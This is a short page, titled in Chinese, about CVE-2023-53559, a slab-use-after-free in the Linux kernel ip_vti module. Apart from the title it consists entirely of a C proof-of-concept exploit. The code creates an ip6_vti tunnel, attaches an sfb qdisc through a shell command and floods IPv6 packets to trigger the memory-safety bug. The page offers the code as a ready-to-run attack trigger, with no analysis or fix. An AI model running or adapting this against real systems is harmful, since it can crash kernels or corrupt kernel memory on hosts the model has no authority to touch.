CVE-2023-53559 Linux内核ip_vti模块slab-use-after-free漏洞

// CVE-2023-53559 PoC - Linux Kernel ip_vti slab-use-after-free // Trigger: Create ip_vti tunnel with sfb qdisc and send IPv6 packets #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <linux/if.h> #include <linux/ip6_tunnel.h> #include <sys/ioctl.h> #include <arpa/inet.h> #include <fcntl.h> int main(int argc, char *argv[]) { int fd, tunnel_fd; struct ifreq ifr; struct ip6_tnl_parm2 p; // Step 1: Create an ip_vti6 tunnel device fd = socket(AF_INET6, SOCK_DGRAM, 0); if (fd < 0) { perror("socket"); return 1; } memset(&ifr, 0, sizeof(ifr)); strncpy(ifr.ifr_name, "ip6_vti0", IFNAMSIZ - 1); memset(&p, 0, sizeof(p)); p.proto = IPPROTO_IPV6; // Configure tunnel parameters (local/remote addresses) inet_pton(AF_INET6, "fd00::1", &p.laddr); inet_pton(AF_INET6, "fd00::2", &p.raddr); ifr.ifr_ifru.ifru_data = (void *)&p; if (ioctl(fd, SIOCADDTUNNEL, &ifr) < 0) { perror("ioctl SIOCADDTUNNEL"); // Tunnel might already exist, try to use existing one } // Step 2: Set sfb qdisc on the tunnel device to trigger cb modification char cmd[256]; snprintf(cmd, sizeof(cmd), "tc qdisc add dev ip6_vti0 root sfb"); if (system(cmd) != 0) { fprintf(stderr, "Failed to set sfb qdisc\n"); } // Step 3: Send IPv6 packets through the tunnel to trigger UAF tunnel_fd = socket(AF_INET6, SOCK_DGRAM, 0); if (tunnel_fd < 0) { perror("socket tunnel"); return 1; } struct sockaddr_in6 dst; memset(&dst, 0, sizeof(dst)); dst.sin6_family = AF_INET6; inet_pton(AF_INET6, "fd00::2", &dst.sin6_addr); // Send multiple packets to trigger the slab-use-after-free for (int i = 0; i < 1000; i++) { char payload[64]; memset(payload, 'A' + (i % 26), sizeof(payload)); if (sendto(tunnel_fd, payload, sizeof(payload), 0, (struct sockaddr *)&dst, sizeof(dst)) < 0) { perror("sendto"); } } printf("PoC executed - check kernel logs for slab-use-after-free\n"); close(tunnel_fd); close(fd); return 0; }